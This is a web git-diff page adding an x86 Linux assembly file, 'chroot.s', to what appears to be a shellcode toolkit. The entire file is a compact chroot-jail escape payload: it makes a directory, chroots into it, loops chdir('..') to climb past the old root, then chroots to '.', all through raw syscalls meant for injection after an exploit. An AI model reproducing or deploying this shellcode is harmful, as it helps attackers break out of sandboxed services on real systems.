diff options
Diffstat (limited to 'other/shellkit/x86_linux/chroot.s')
| -rw-r--r-- | other/shellkit/x86_linux/chroot.s | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/chroot.s b/other/shellkit/x86_linux/chroot.s new file mode 100644 index 0000000..dd7e878 --- /dev/null +++ b/other/shellkit/x86_linux/chroot.s | |||
| @@ -0,0 +1,34 @@ | |||
| 1 | .globl cbegin | ||
| 2 | .globl cend | ||
| 3 | |||
| 4 | |||
| 5 | cbegin: | ||
| 6 | /* mkdir AA.. */ | ||
| 7 | cdq | ||
| 8 | movl $0x73507350, %ecx | ||
| 9 | push %eax | ||
| 10 | push $0x2e2e4141 | ||
| 11 | movl %esp, %ebx | ||
| 12 | movb $0x27, %al | ||
| 13 | int $0x80 | ||
| 14 | |||
| 15 | /* chroot AA.. */ | ||
| 16 | movb $0x3d, %al | ||
| 17 | int $0x80 | ||
| 18 | |||
| 19 | /* chdir .. x 5 */ | ||
| 20 | addb $0x2, %bl | ||
| 21 | |||
| 22 | cd_loop: | ||
| 23 | incb %dl | ||
| 24 | movb $0xc, %al | ||
| 25 | int $0x80 | ||
| 26 | cmp $0x6a, %dl | ||
| 27 | jne cd_loop | ||
| 28 | |||
| 29 | /* chroot . */ | ||
| 30 | incb %bl | ||
| 31 | movb $0x3d, %al | ||
| 32 | int $0x80 | ||
| 33 | cend: | ||
| 34 | |||
